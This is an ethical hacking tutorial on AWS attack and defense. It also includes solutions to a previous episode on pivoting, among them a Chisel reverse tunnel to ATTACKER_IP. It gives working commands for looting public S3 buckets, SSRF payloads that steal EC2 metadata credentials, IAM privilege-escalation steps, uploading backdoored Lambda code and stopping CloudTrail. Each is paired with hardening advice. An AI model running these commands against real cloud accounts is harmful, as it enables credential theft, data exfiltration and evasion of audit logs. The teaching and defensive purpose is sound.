Learn Ethical Hacking (#35) - Cloud Security - AWS Attack and Defense
Learn Ethical Hacking (#35) - Cloud Security - AWS Attack and Defense

What will I learn
- Why cloud changes the attack surface -- shared responsibility, identity-first security, and the perimeter that no longer exists;
- AWS IAM attacks -- policy misconfiguration, privilege escalation through role chaining, and overly permissive policies;
- S3 bucket attacks -- finding and exploiting publicly accessible storage;
- EC2 metadata service -- SSRF to credential theft via the instance metadata endpoint;
- Lambda and serverless attacks -- exploiting function misconfigurations and environment variables;
- CloudTrail evasion -- understanding AWS logging and what attackers try to avoid;
- Enumeration tools -- ScoutSuite, Prowler, Pacu, and enumerate-iam;
- Defense: least privilege IAM, SCPs, GuardDuty, S3 Block Public Access, IMDSv2.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- An AWS free-tier account for lab exercises;
- Basic understanding of cloud computing concepts;
- The ambition to learn ethical hacking and security research.
Difficulty
- Intermediate
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
- Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves
- Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data
- Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons
- Learn Ethical Hacking (#21) - API Security - The New Attack Surface
- Learn Ethical Hacking (#22) - Business Logic Flaws - When the Code Works But the Logic Doesn't
- Learn Ethical Hacking (#23) - Client-Side Attacks - Beyond XSS
- Learn Ethical Hacking (#24) - Content Management Systems - Hacking WordPress and Friends
- Learn Ethical Hacking (#25) - Web Application Firewalls - Bypassing the Guards
- Learn Ethical Hacking (#26) - The Full Web Pentest - Methodology and Reporting
- Learn Ethical Hacking (#27) - Bug Bounty Hunting - Getting Paid to Hack the Web
- Learn Ethical Hacking (#28) - The AI Web Attack Surface - AI Features as Vulnerabilities
- Learn Ethical Hacking (#29) - Network Sniffing - Seeing Everything on the Wire
- Learn Ethical Hacking (#30) - Wireless Network Attacks - Breaking Wi-Fi
- Learn Ethical Hacking (#31) - Privilege Escalation - Linux
- Learn Ethical Hacking (#32) - Privilege Escalation - Windows
- Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels
- Learn Ethical Hacking (#34) - Pivoting and Lateral Movement - Spreading Through Networks
- Learn Ethical Hacking (#35) - Cloud Security - AWS Attack and Defense (this post)
Solutions to Episode 34 Exercises
Exercise 1: SSH pivot from DMZ to internal network.
# Step 1: Dynamic port forward through DMZ web server
ssh -D 1080 [email protected]
# Step 2: Scan internal network through proxy
proxychains nmap -sT -Pn -p 445,3389,5985 192.168.1.0/24
# Found: 192.168.1.50 (Windows, ports 445 + 5985 open)
# Step 3: WinRM through proxy
proxychains evil-winrm -i 192.168.1.50 -u admin -p Password123
# Full chain: attacker -> SSH tunnel -> DMZ (10.10.10.5) ->
# proxychains -> internal (192.168.1.50) -> WinRM shell
The key learning: proxychains makes any TCP-based tool work through the tunnel. UDP-based tools (like standard nmap ping scans) will NOT work through SOCKS -- always use -sT (TCP connect) and -Pn (skip ping).
Exercise 2: Lateral movement detection comparison.
PsExec artifacts:
- Event 7045: new service "PSEXESVC" created
- Event 4697: service installed (by SYSTEM)
- File: C:\Windows\PSEXESVC.exe written and deleted
- Named pipe: \PIPE\psexesvc
Stealth rating: LOW (very noisy, well-known signature)
WMI artifacts:
- Event 4688: wmiprvse.exe spawned cmd.exe or powershell
- No files written to disk
- No services created
Stealth rating: MEDIUM (legitimate process, behavioral detection needed)
WinRM artifacts:
- Event 6: WSMan session created
- Event 4688: wsmprovhost.exe process creation
- Network: port 5985/5986
- No files written, no services created
Stealth rating: HIGH (native admin protocol, hard to distinguish
from legitimate management traffic)
The stealth ranking matches real-world experience. PsExec is immediately obvious in any monitored environment -- Event 7045 with a service named "PSEXESVC" is basically shouting. WMI is a step up because wmiprvse.exe is a normal Windows process, but spawning cmd.exe or powershell.exe from it is suspicious if process command-line auditing is enabled. WinRM is the stealthiest of the three because it is literally the protocol that sysadmins use for remote management -- the traffic looks identical to legitimate admin work.
Exercise 3: Chisel tunneling.
# Attack machine (server):
./chisel server --reverse --port 8000
# Windows target (client):
chisel.exe client ATTACKER_IP:8000 R:socks
# Scan through tunnel:
proxychains nmap -sT -Pn 192.168.1.0/24
# Traffic comparison:
# SSH tunnel: port 22, encrypted, SSH protocol signature
# Chisel: port 8000 (configurable), encrypted, HTTP/WebSocket
# Chisel is harder to detect because it looks like web traffic
Chisel wins the stealth comparison because its traffic profile looks like ordinary HTTP/WebSocket communication. An IDS monitoring for SSH tunnels (port 22, SSH handshake signature) will completely miss Chisel traffic on port 443 or 8080. The trade-off is that Chisel requires uploading a binary to the target, which can trigger AV -- though modern Chisel builds are generally not flagged unless your target is running aggressive EDR.
Learn Ethical Hacking (#35) - Cloud Security - AWS Attack and Defense
Episode 34 covered pivoting and lateral movement -- using compromised machines as stepping stones to reach deeper network segments, and spreading across machines using stolen credentials. You can now create SSH tunnels, route tools through SOCKS proxies, move laterally with PsExec/WMI/WinRM, and chain multiple pivots through segmented networks.
For 34 episodes we have been attacking things you can (at least conceptually) touch. Servers with IP addresses. Switches with cables. Firewalls with physical interfaces. Even the Active Directory attacks in episode 33 targeted on-premise domain controllers -- actual machines sitting in a server room that someone had to rack, cable, and power on.
The cloud changes everything.
When an organization moves to Amazon Web Services (or Azure, or GCP -- we'll cover those in the next episode), the infrastructure itself is no longer theirs. AWS manages the hypervisors, the physical networking, the storage hardware, the data center security. You are not going to exploit a buffer overflow in the hypervisor. You are not going to social-engineer your way into an AWS data center. Those attack vectors are gone.
What replaces them is something far more dangerous in practice: misconfiguration. The cloud attack surface is not about popping shells and escalating privileges on a Linux box. It's about identity policies, storage permissions, service roles, and the breathtaking complexity of configuring all of this correctly across dozens of AWS services. A single misconfigured IAM policy can expose more data than any SQL injection you've ever written. A single public S3 bucket can leak terabytes of customer data before anyone notices. And unlike a traditional server compromise where you at least need to find a vulnerability and exploit it, cloud misconfigurations are just... there. Sitting in the open. Waiting for someone to look.
Having said that, cloud security is not entirely foreign territory. Many of the concepts we've covered still apply. SSRF (episode 18) is one of the most critical cloud attack vectors. Credential theft follows the same principles. And the reconnaissance mindset from episodes 4-5 is exactly what you need for cloud enumeration. The difference is WHERE you're looking and WHAT you're looking for.
The Shared Responsibility Model
Before we start breaking things, you need to understand the fundamental contract between you and AWS. Amazon calls it the shared responsibility model, and it goes like this:
AWS is responsible for security OF the cloud:
- Physical data center security (fences, guards, biometrics, cameras)
- Hypervisor and virtualization layer
- Network infrastructure (routers, switches, load balancers)
- Storage hardware, compute hardware
- Managed service infrastructure (RDS engines, Lambda runtime)
You are responsible for security IN the cloud:
- IAM policies (who can do what)
- S3 bucket permissions (who can read your data)
- Security groups and NACLs (network access control)
- Encryption configuration (at rest and in transit)
- Application code running on EC2/Lambda/ECS
- OS patching on EC2 instances (unless using managed services)
- CloudTrail and logging configuration
The dividing line is straightforward: AWS secures the infrastructure that runs everything, you secure everything you PUT on that infrastructure. The problem is that "everything you put on it" is a staggeringly complex configuration surface with hundreds of services, thousands of settings, and defaults that are not always secure.
The result? Most cloud breaches are the customer's fault. Not because customers are stupid, but because the configuration surface is enormous and a single mistake can expose everything. An on-premise misconfiguration affects one server. An AWS misconfiguration can affect every resource in the account -- potentially hundreds of servers, databases, storage buckets, and functions.
AWS Identity and Access Management (IAM)
IAM is the foundation of AWS security and the primary attack surface. Everything in AWS -- every API call, every resource access, every configuration change -- goes through IAM. Understanding IAM is not optional. It is the Kerberos of the cloud world: the authentication and authorization backbone that every attack either exploits or must work around.
The key concepts:
IAM Users - permanent credentials (access key + secret key)
IAM Roles - temporary credentials, assumed by services or users
IAM Policies - JSON documents that define permissions
IAM Groups - collections of users that share policies
Every API call = who (principal) + what (action) + where (resource)
An IAM policy looks like this:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::my-bucket/*"
}
]
}
This policy allows reading objects from one specific S3 bucket. Reasonable. Now here is the policy that lazy administrators (and AI code assistants) create instead:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
"Action": "*", "Resource": "*" -- full admin access to everything. Every service. Every resource. Every region. This is the cloud equivalent of adding a service account to Domain Admins "because the application needs it" (episode 33 flashbacks). It works, but it means that compromising any credential attached to this policy gives the attacker unrestricted access to the entire AWS account.
The scary part: this pattern is COMMON. I've seen it on production workloads, on Lambda functions, on EC2 instance roles. The developer needed s3:PutObject on one bucket and attached AdministratorAccess because it was faster than figuring out the specific permissions. That five seconds of laziness is now a catastrophic vulnerability ;-)
Attack 1: Public S3 Buckets
S3 (Simple Storage Service) is AWS's object storage. Buckets hold files -- backups, logs, user uploads, database exports, application assets, configuration files. And for years, the default configuration made it entirely too easy to accidentally expose them to the entire internet.
# Enumerate S3 buckets for a target
# Common naming patterns: company-backup, company-data, company-logs,
# company-dev, company-staging, company-assets
aws s3 ls s3://target-company-backup --no-sign-request
aws s3 ls s3://target-company-data --no-sign-request
aws s3 ls s3://target-company-logs --no-sign-request
# The --no-sign-request flag means: don't use any AWS credentials
# If this command returns results, the bucket is PUBLIC
# Automated bucket enumeration
# https://github.com/nahamsec/lazys3
python3 lazys3.py target-company
# Another option: cloud_enum
# https://github.com/initstring/cloud_enum
python3 cloud_enum.py -k target-company -l results.txt
If you find a public bucket, downloading everything is trivial:
# Download entire bucket contents
aws s3 sync s3://target-company-backup ./loot --no-sign-request
# Or just list and pick specific files
aws s3 ls s3://target-company-backup --recursive --no-sign-request
aws s3 cp s3://target-company-backup/db-dump-2026.sql ./loot/ --no-sign-request
The casualty list from public S3 buckets reads like a hall of shame. Booz Allen Hamilton leaked military intelligence documents (2017). Deep Root Analytics exposed 198 million US voter records (2017). Dow Jones leaked customer PII. Accenture exposed internal credentials. GoDaddy leaked architectural diagrams and server configurations. Capital One (which we'll get to) exposed 100 million customer records. And those are just the ones that made the news -- countless smaller breaches never get reported.
The fix is embarrassingly simple. S3 Block Public Access is a single account-level setting that prevents any bucket in the account from ever being made public, regardless of individual bucket policies:
# Enable Block Public Access for the entire AWS account
aws s3control put-public-access-block \
--account-id 123456789012 \
--public-access-block-configuration \
"BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"
# Verify it's enabled
aws s3control get-public-access-block --account-id 123456789012
AWS now enables this by default for new accounts (since April 2023). But existing accounts? Existing buckets? Those were created before the default changed, and many organizations have never gone back to check. "It was working fine before" is the eternal enemy of security.
Attack 2: EC2 Metadata Service -- SSRF to Credentials
This is the big one. Every EC2 instance has access to a metadata service at http://169.254.169.254. This is a link-local address that only the instance itself can reach. The metadata service provides information about the instance: its instance ID, region, security groups, and -- critically -- the temporary IAM credentials for whatever role is attached to the instance.
If you find an SSRF vulnerability (we covered SSRF in episode 18) in a web application running on EC2, you can reach the metadata endpoint and steal those credentials:
# Step 1: Discover the role name via SSRF
# SSRF payload: http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Response: "EC2-WebApp-Role"
# Step 2: Fetch the credentials
# SSRF payload:
# http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-WebApp-Role
# Response:
# {
# "AccessKeyId": "ASIAXXXXXXXXXXX",
# "SecretAccessKey": "wJalrXXXXXXXXXXXXXXX",
# "Token": "FwoGZXXXXXXXXXXXXXXX",
# "Expiration": "2026-05-23T18:00:00Z"
# }
# Step 3: Use the stolen credentials from your machine
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="wJalrXXXXXXXXXXXXXXX"
export AWS_SESSION_TOKEN="FwoGZXXXXXXXXXXXXXXX"
# Now you have whatever permissions the EC2 role has
aws sts get-caller-identity
# Shows: the EC2 instance's role ARN
aws s3 ls
# Lists all S3 buckets the role can access
aws ec2 describe-instances
# Lists all EC2 instances (if the role allows)
This is EXACTLY how the Capital One breach worked in 2019. A misconfigured WAF (web application firewall) allowed SSRF requests. The attacker used SSRF to hit the metadata endpoint on the EC2 instance behind the WAF, stole the IAM credentials, and used those credentials to access S3 buckets containing over 100 million customer records including Social Security numbers, bank account numbers, and credit scores. One SSRF vulnerability. One overly permissive IAM role. 100 million records.
The connection to episode 18 is direct: SSRF was a theoretical concern when we discussed it in the context of web applications hitting internal services. In the cloud, SSRF becomes an existential threat because the metadata service is THE path from "I found a web vulnerability" to "I own the AWS account."
IMDSv2 (Instance Metadata Service version 2) mitigates this. Instead of just hitting the endpoint with a GET request (which most SSRF vulnerabilities can do), IMDSv2 requires a two-step process:
# IMDSv2: first get a session token with PUT (not GET)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Then use the token to query metadata
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Most SSRF vulnerabilities only allow GET requests. The PUT requirement blocks them. But IMDSv2 is NOT enforced by default -- you have to explicitly require it:
# Enforce IMDSv2 on a specific instance
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled
# Enforce IMDSv2 on ALL new instances via an SCP (org-wide)
# Deny ec2:RunInstances unless metadata-options require tokens
"Not enforced by default" is the recurring theme in cloud security. The secure option exists. It works. It has been available since 2019. And organizations still launch instances with IMDSv1 because they haven't updated their AMIs, their Terraform modules, their CloudFormation templates, or their launch configurations. The Capital One breach would not have worked with IMDSv2. Five years later, plenty of organizations still haven't enabled it.
Attack 3: IAM Privilege Escalation
AWS IAM is complex enough that even legitimate administrators make mistakes. A user with seemingly limited permissions can sometimes escalate to full admin by chaining allowed actions in ways the policy author didn't anticipate. This is the cloud equivalent of the AD privilege escalation paths we mapped with BloodHound in episode 33.
Rhino Security Labs (the team behind Pacu) has documented 20+ known IAM privilege escalation paths. Here are the most common ones:
# Path 1: iam:CreatePolicyVersion
# If you can create a new version of a policy attached to you,
# you can rewrite it to grant yourself full access
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
--policy-document '{
"Version":"2012-10-17",
"Statement":[{
"Effect":"Allow",
"Action":"*",
"Resource":"*"
}]
}' \
--set-as-default
# You just gave yourself admin access
# Path 2: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# Create a Lambda function with a high-privilege role, invoke it
aws lambda create-function \
--function-name escalate \
--runtime python3.12 \
--role arn:aws:iam::123456789012:role/AdminRole \
--handler index.handler \
--zip-file fileb://payload.zip
aws lambda invoke --function-name escalate output.json
# Your code runs with AdminRole's permissions
# Path 3: iam:PassRole + ec2:RunInstances
# Launch an EC2 instance with a high-privilege role, SSH to it
aws ec2 run-instances \
--image-id ami-12345678 \
--instance-type t2.micro \
--iam-instance-profile Name=AdminInstanceProfile \
--key-name mykey
# SSH to the instance, curl the metadata endpoint,
# steal the AdminRole credentials
# Path 4: iam:AttachUserPolicy
# Just attach AdministratorAccess to yourself directly
aws iam attach-user-policy \
--user-name myuser \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Path 5: sts:AssumeRole
# If a cross-account role trusts your account, assume it
aws sts assume-role \
--role-arn arn:aws:iam::TARGET_ACCOUNT:role/OvrelyTrustingRole \
--role-session-name attack
The iam:PassRole permission is particularly insidious. On its own it looks harmless -- "allow the user to assign IAM roles to AWS resources." But combined with the ability to create Lambda functions or EC2 instances, it lets you launder permissions: create a resource with a higher-privilege role, interact with it, and inherit those privileges. The admin who granted iam:PassRole thought they were giving you a routine operational permission. They actually gave you an escalation path ;-)
Pacu (https://github.com/RhinoSecurityLabs/pacu) automates the discovery and exploitation of these paths:
# Install and start Pacu
python3 -m pip install pacu
pacu
# Import stolen or discovered credentials
set_keys
# Enumerate what permissions these credentials have
run iam__enum_permissions
# Find privilege escalation paths
run iam__privesc_scan
# If a path is found, exploit it
run iam__privesc_scan --exploit
Pacu is to AWS what BloodHound is to Active Directory: it maps the environment, finds attack paths that a human would miss, and chains multiple small permissions into full compromise. If BloodHound made you uncomfortable in episode 33, Pacu should give you the same feeling. These tools exist because the configuration surface is too complex for humans to audit manually. They find the chains of misconfigurations that individual permission reviews always miss.
Attack 4: Lambda and Serverless
Lambda functions are AWS's serverless compute service. You write code, AWS runs it, you pay per invocation. No servers to manage, no OS to patch, no infrastructure to maintain. Sounds secure, right?
In practice, Lambda functions are a treasure trove of secrets and a common escalation path:
# List all Lambda functions in the account
aws lambda list-functions --region us-east-1
# Get function configuration -- this is where secrets live
aws lambda get-function-configuration \
--function-name payment-processor
# Response includes Environment.Variables:
# {
# "DB_PASSWORD": "ProductionP@ssw0rd!",
# "STRIPE_SECRET_KEY": "sk_live_xxxxxxxxxxxx",
# "JWT_SECRET": "super-secret-jwt-key",
# "ADMIN_API_KEY": "ak_1234567890abcdef"
# }
# Download the function source code
aws lambda get-function --function-name payment-processor
# Returns a presigned URL to download the deployment package (ZIP)
# Unzip it and read the source code
# If you can update the function code:
aws lambda update-function-code \
--function-name payment-processor \
--zip-file fileb://backdoor.zip
# Your code now runs with whatever IAM role the function uses
The environment variable problem is systemic. AWS even provides Secrets Manager and SSM Parameter Store specifically so you don't have to store secrets in environment variables. But developers put secrets in env vars because it is the path of least resistence -- it works, it's documented in every tutorial, and it is the first suggestion that comes up when you search "how to configure Lambda with database credentials." The secure alternatives require additional configuration, additional IAM permissions, and additional code to retrieve secrets at runtime.
Lambda functions also inherit IAM roles, and those roles are frequently overly permissive. A function that processes uploaded images and writes them to S3 should have s3:PutObject on one bucket. Instead it has AmazonS3FullAccess because the developer copied an example from a blog post. A function that reads from DynamoDB has AmazonDynamoDBFullAccess instead of dynamodb:GetItem on one table. The blast radius of compromising a Lambda function depends entirely on the role attached to it, and that role is almost always too broad.
Having said that, Lambda functions ARE harder to exploit remotely compared to EC2 instances. There's no persistent shell -- each invocation is a fresh container. There's no metadata endpoint to SSRF against. The function runs in an isolated environment with a read-only filesystem (except /tmp). But once you have credentials that can call lambda:GetFunction or lambda:UpdateFunctionCode, the function itself is exposed. The attack is not remote exploitation of the function -- it's API-level access to the function's configuration and code.
Attack 5: CloudTrail and Logging Evasion
CloudTrail is AWS's audit log. It records every API call made in the account: who called it, when, from what IP, and what parameters were used. From a defender's perspective, CloudTrail is how you detect attacks in progress. From an attacker's perspective, CloudTrail is how you get caught.
# Check if CloudTrail is enabled
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name main-trail
# What CloudTrail logs:
# - Every IAM action (CreateUser, AttachPolicy, AssumeRole)
# - Every S3 action (GetObject, PutObject, DeleteBucket)
# - Every EC2 action (RunInstances, StopInstances)
# - Every Lambda action (Invoke, UpdateFunctionCode)
# Basically: EVERYTHING you do with the AWS API
Attackers try to evade CloudTrail in several ways:
# 1. Disable CloudTrail (VERY noisy -- generates its own alert)
aws cloudtrail stop-logging --name main-trail
# This is the cloud equivalent of rm -rf /var/log
# Effective but immediately obvious
# 2. Operate in regions without CloudTrail
# If CloudTrail is only enabled in us-east-1,
# actions in ap-southeast-1 are not logged
aws ec2 describe-instances --region ap-southeast-1
# 3. Use data-plane events that aren't logged by default
# CloudTrail has "management events" (enabled by default)
# and "data events" (cost extra, often not enabled)
# S3 GetObject is a data event -- reading files might not be logged
# Lambda Invoke is a data event -- invoking functions might not be logged
# 4. Use services that have minimal CloudTrail integration
# Not all AWS services log every action to CloudTrail
The defense is straightforward: enable CloudTrail in ALL regions, enable data events for S3 and Lambda, send logs to a separate account (so the attacker can't delete them), and enable log file validation (so the attacker can't tamper with them). GuardDuty sits on top of CloudTrail and uses machine learning to detect suspicious patterns -- unusual API calls, impossible travel (API calls from two continents minutes apart), credential exfiltration patterns.
# Enable CloudTrail in all regions with log validation
aws cloudtrail create-trail \
--name organization-trail \
--s3-bucket-name cloudtrail-logs-SECURE-ACCOUNT \
--is-multi-region-trail \
--enable-log-file-validation \
--include-global-service-events
aws cloudtrail start-logging --name organization-trail
# Enable GuardDuty for threat detection
aws guardduty create-detector --enable
# Enable S3 data event logging
aws cloudtrail put-event-selectors --trail-name organization-trail \
--event-selectors '[{
"ReadWriteType": "All",
"IncludeManagementEvents": true,
"DataResources": [{
"Type": "AWS::S3::Object",
"Values": ["arn:aws:s3"]
}]
}]'
Enumeration Tools -- Mapping the Cloud
Just like we used nmap for network reconnaissance (episode 5) and BloodHound for AD enumeration (episode 33), there are dedicated tools for mapping AWS environments:
# ScoutSuite -- multi-cloud security auditing
# Checks hundreds of security configurations automatically
pip install scoutsuite
scout aws --profile target-profile
# Generates an HTML report with findings categorized by severity
# Prowler -- AWS-specific CIS benchmark checks
# https://github.com/prowler-cloud/prowler
pip install prowler
prowler aws
# Checks against CIS, PCI-DSS, HIPAA, GDPR benchmarks
# enumerate-iam -- brute-force permission discovery
# https://github.com/andresriancho/enumerate-iam
python3 enumerate-iam.py \
--access-key AKIA... \
--secret-key wJalr...
# Tries thousands of API calls to discover what you can do
# WARNING: generates massive CloudTrail noise
# CloudMapper -- visualize AWS infrastructure
# https://github.com/duo-labs/cloudmapper
python3 cloudmapper.py collect --account target
python3 cloudmapper.py report --account target
# Creates a network diagram of the AWS environment
enumerate-iam deserves special mention because of how it works. When you steal AWS credentials, you often don't know what permissions they have. enumerate-iam solves this by calling every AWS API endpoint and checking which ones return results versus AccessDenied. It is brute-force permission discovery -- the cloud equivalent of running every nmap script against a target. Effective, but generates hundreds or thousands of CloudTrail entries. If the target has GuardDuty enabled, it will flag the enumeration within minutes. Use it in lab environments and authorized pentests, not against targets that are actively monitored.
Defense: Securing AWS -- The Complete Checklist
Let me walk through the defensive measures that would have prevented every attack in this episode:
# 1. S3 Block Public Access (account-wide)
aws s3control put-public-access-block \
--account-id 123456789012 \
--public-access-block-configuration \
"BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"
# Prevents: public S3 bucket exposure
# 2. Enforce IMDSv2 on all EC2 instances
# Use an SCP (Service Control Policy) to deny launches without IMDSv2
# Prevents: SSRF-based credential theft from metadata endpoint
# 3. Least privilege IAM -- the single most important control
# Use IAM Access Analyzer to find unused permissions
aws accessanalyzer create-analyzer \
--analyzer-name production-analyzer \
--type ACCOUNT
# Prevents: overpermissive roles, privilege escalation paths
# 4. No secrets in Lambda environment variables
# Use Secrets Manager or SSM Parameter Store instead
aws secretsmanager create-secret \
--name production/db-password \
--secret-string "ActualPassword"
# Lambda code retrieves secrets at runtime, not from env vars
# Prevents: credential exposure via get-function-configuration
# 5. Service Control Policies (SCPs) -- guardrails for the org
# SCPs are the MAXIMUM permissions any account can have
# Even if someone attaches AdministratorAccess, the SCP limits them
# Example SCP: deny disabling CloudTrail
# {
# "Effect": "Deny",
# "Action": ["cloudtrail:StopLogging", "cloudtrail:DeleteTrail"],
# "Resource": "*"
# }
# Prevents: attackers disabling audit logging
# 6. Multi-region CloudTrail + GuardDuty
# Already covered above -- enables detection of all attacks
# 7. MFA everywhere
# Root account: hardware MFA key, no access keys
# IAM users: virtual MFA at minimum
# Sensitive actions: require MFA in IAM policies
# Prevents: credential theft from becoming full compromise
# 8. Separate accounts per workload (AWS Organizations)
# Production, staging, development in different accounts
# A dev account compromise doesn't reach production
# The cloud equivalent of network segmentation (episode 34)
The account separation point is worth emphasizing. In on-premise networks, we discussed network segmentation as the primary defense against lateral movement (episode 34). In AWS, the equivalent is using separate AWS accounts for different workloads. A development account, a staging account, and a production account -- each with its own IAM users, its own S3 buckets, its own EC2 instances. Compromising the dev account does not give you access to production. AWS Organizations manages all these accounts under one umbrella with SCPs providing the guardrails.
This is the zero trust model applied to cloud architecture: don't trust anything just because it's "in the same AWS account." Separate everything that should be separated. Make every cross-account interaction explicit and auditable.
The AI Slop Connection
Cloud infrastructure configuration is where AI-generated code does the most damage. The pattern is consistent: developer asks AI "how do I give my Lambda function access to S3" and the AI generates a policy with "Action": "*", "Resource": "*" because it is the shortest correct answer. It works. The Lambda can access S3. It can also access IAM, EC2, RDS, DynamoDB, and every other service in the account.
Stack Overflow answers and AI assistants routinely suggest:
- IAM policies with full admin access ("just to get it working")
- Storing database passwords in Lambda environment variables ("the simplest approach")
- S3 bucket policies that allow public access ("your app needs to serve files")
- Disabling IMDSv2 ("to fix connectivity issues with the metadata service")
- Using root account access keys ("for testing")
Every one of these suggestions is technically correct -- the code works. And every one creates a vulnerability that can lead to full account compromise. The cloud amplifies every misconfiguration because the blast radius is the entire account, not just one server. A misconfigured server on-premise is one machine. A misconfigured IAM policy in AWS is potentially every resource in the account, across every region, accessible from anywhere on the internet.
The gap between "it works" and "it's secure" has never been wider than it is in cloud infrastructure. Traditional server administration at least had the benefit of physical isolation -- a misconfigured Apache server was only accessible if it was on the network. A misconfigured AWS IAM policy is accessible from ANY internet-connected device with the right credentials. The attack surface is global by default.
The Bigger Picture
With episode 35, we've made the jump from on-premise to cloud. The techniques are diferent -- no more popping shells and dumping LSASS -- but the methodology is the same: enumerate, identify misconfigurations, chain them together, escalate. IAM is the new Active Directory. S3 buckets are the new file shares. Instance metadata is the new credential store. And the tools (Pacu, ScoutSuite, Prowler) serve the same purpose as BloodHound and mimikatz: they automate the discovery of attack paths that humans would miss.
AWS is just the first cloud provider we're covering. The concepts -- shared responsibility, identity-based attacks, storage misconfigurations, metadata services -- apply to every cloud platform. But the specifics are different. Azure has its own identity system (Entra ID, formerly Azure AD), its own storage (Blob Storage), its own metadata service, and its own unique attack paths. Same principles, different implementation, different tools. We'll cover that ground next, and look at what happens when organizations run hybrid environments where on-premise Active Directory syncs with cloud identity -- because that sync creates attack paths that neither the AD team nor the cloud team fully understands.
Exercises
Exercise 1: Create a deliberately vulnerable AWS lab (free tier): (a) an S3 bucket with public read access containing a test file secrets.txt, (b) an EC2 instance with an IAM role that has S3 full access and IMDSv1 enabled, (c) a Lambda function with a fake database password in its environment variables. Then attack your own setup: find the public bucket, steal EC2 credentials via the metadata endpoint, and extract Lambda environment variables. Document the full attack chain, then fix each vulnerability (Block Public Access, IMDSv2, Secrets Manager).
Exercise 2: Use enumerate-iam (https://github.com/andresriancho/enumerate-iam) against a set of AWS credentials in your lab. Document: (a) how many API calls it makes, (b) what permissions it discovers, (c) how long the enumeration takes, (d) what CloudTrail events it generates. Then check CloudTrail logs -- would a SOC analyst notice this enumeration? What GuardDuty findings does it trigger?
Exercise 3: Research the Capital One breach (2019). Document: (a) the initial access vector (SSRF through WAF misconfiguration), (b) how the attacker obtained IAM credentials (metadata service), (c) what data was exposed (S3 buckets), (d) what specific AWS controls would have prevented each step of the attack (IMDSv2, least-privilege IAM, S3 Block Public Access). Write your analysis as a structured incident report.
Thanks for your contribution to the STEMsocial community. Feel free to join us on discord to get to know the rest of us!
Please consider delegating to the @stemsocial account (85% of the curation rewards are returned).
Consider setting @stemsocial as a beneficiary of this post's rewards if you would like to support the community and contribute to its mission of promoting science and education on Hive.